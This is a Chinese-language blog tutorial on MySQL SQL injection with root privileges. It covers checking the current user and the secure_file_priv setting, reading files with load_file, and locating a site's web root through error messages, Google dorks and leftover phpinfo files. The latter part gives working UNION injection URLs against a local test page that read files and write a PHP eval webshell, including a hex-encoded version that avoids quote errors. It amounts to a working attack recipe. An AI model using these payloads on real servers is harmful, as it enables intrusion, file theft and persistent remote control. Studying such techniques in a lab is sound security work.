高权限文件操作注入

一、确认当前账户是否为root

当连接当前数据库的用户为root账户时,可以通过sql语句直接进行文件操作,查询当前账户的语句为:

select user();

只有当账户为root时,才有权限进行文件读写操作。

二、确认secure-file-priv参数

mysql新版本下具有secure-file-priv参数,用来限制LOAD DATA, SELECT … OUTFILE, LOAD_FILE()传到哪个指定目录。

  • ure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
  • 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
  • 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

如何查看secure-file-priv参数的值:

show global variables like `‘%secure%’;`

如何更改secure-file-priv参数的值:

修改my.ini 文件,在[mysqld] 下加入secure_file_priv=,保存并重启mysql。

当然在实际渗透测试时,我们是无法修改这里的参数值得,这里仅作为学习时的参考。

三、读写文件

当前两项条件满足,便可以进行文件的读取和写入

  • 读取

    select load_file('c:/test.txt');

  • 写入

    select '123456' into outfile 'c:/123.txt;

四、实际环境下测试

4.1)查看当前数据库用户

这里获得的其实是后台代码中连接数据库所使用的用户

4.2)网站在服务器上的路径获取

关于网站路径的获取:

4.2.1)报错显示

报错信息可能爆出网站目录

4.2.2)google hack

通过google hack语法,查找报错信息

4.2.3)读取配置文件

搭建平台具有配置文件,可以搜索对应平台的配置文件的默认路径,读取配置文件从而获得网站目录

4.2.4)漏洞报错

搜索搭建平台爆路径的漏洞和文章

4.2.5)遗留文件

很多网站搭建完毕后遗留有说明文件,类似phpinfo.php,可以通过google hack语法搜索

site:txtzm.com phpinfo.php

4.2.6)字典猜解

通过网站常用目录生成字典进行猜解,是没有办法的办法。

4.3 读取文件

http://127.0.0.1/test/sqlin.php?x=1 union select load_file('c:/test.txt'),2,3

注意

  1. 路径可以使用正斜杠/以及双反斜杠\\,双反斜杠是因为反斜杠本身是转义字符

  2. 包含路径的单引号可以通过将路径进行16进制编码从而去掉

    通过编码去掉单引号可以避免在写入php语句(例如一句话木马)时,与php语句带有的单引号形成闭合造成写入错误

    例如:

    127.0.0.1/test/sqlin.php?x=1 union select '<?php eval($_POST['x']);?>',2,3 into outfile 'c:/c.php'

    由于参数x前的单引号与包含这句话本身的单引号形成闭合,使得语句错误,写入操作不会成功,将写入的内容进行编码:

    127.0.0.1/test/sqlin.php?x=1 union select 0x3c3f706870206576616c28245f504f53545b2778275d293b3f3e,2,3 into outfile 'c:/c.php'

    如图,写入成功。

当文件成功写入到网站目录时,不再需要从网站后台登入,达到直接获得webshell的效果。

文章作者: TechOtaku
文章链接: http://techotaku.me/2018/07/25/高权限文件操作注入/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 徒然の博客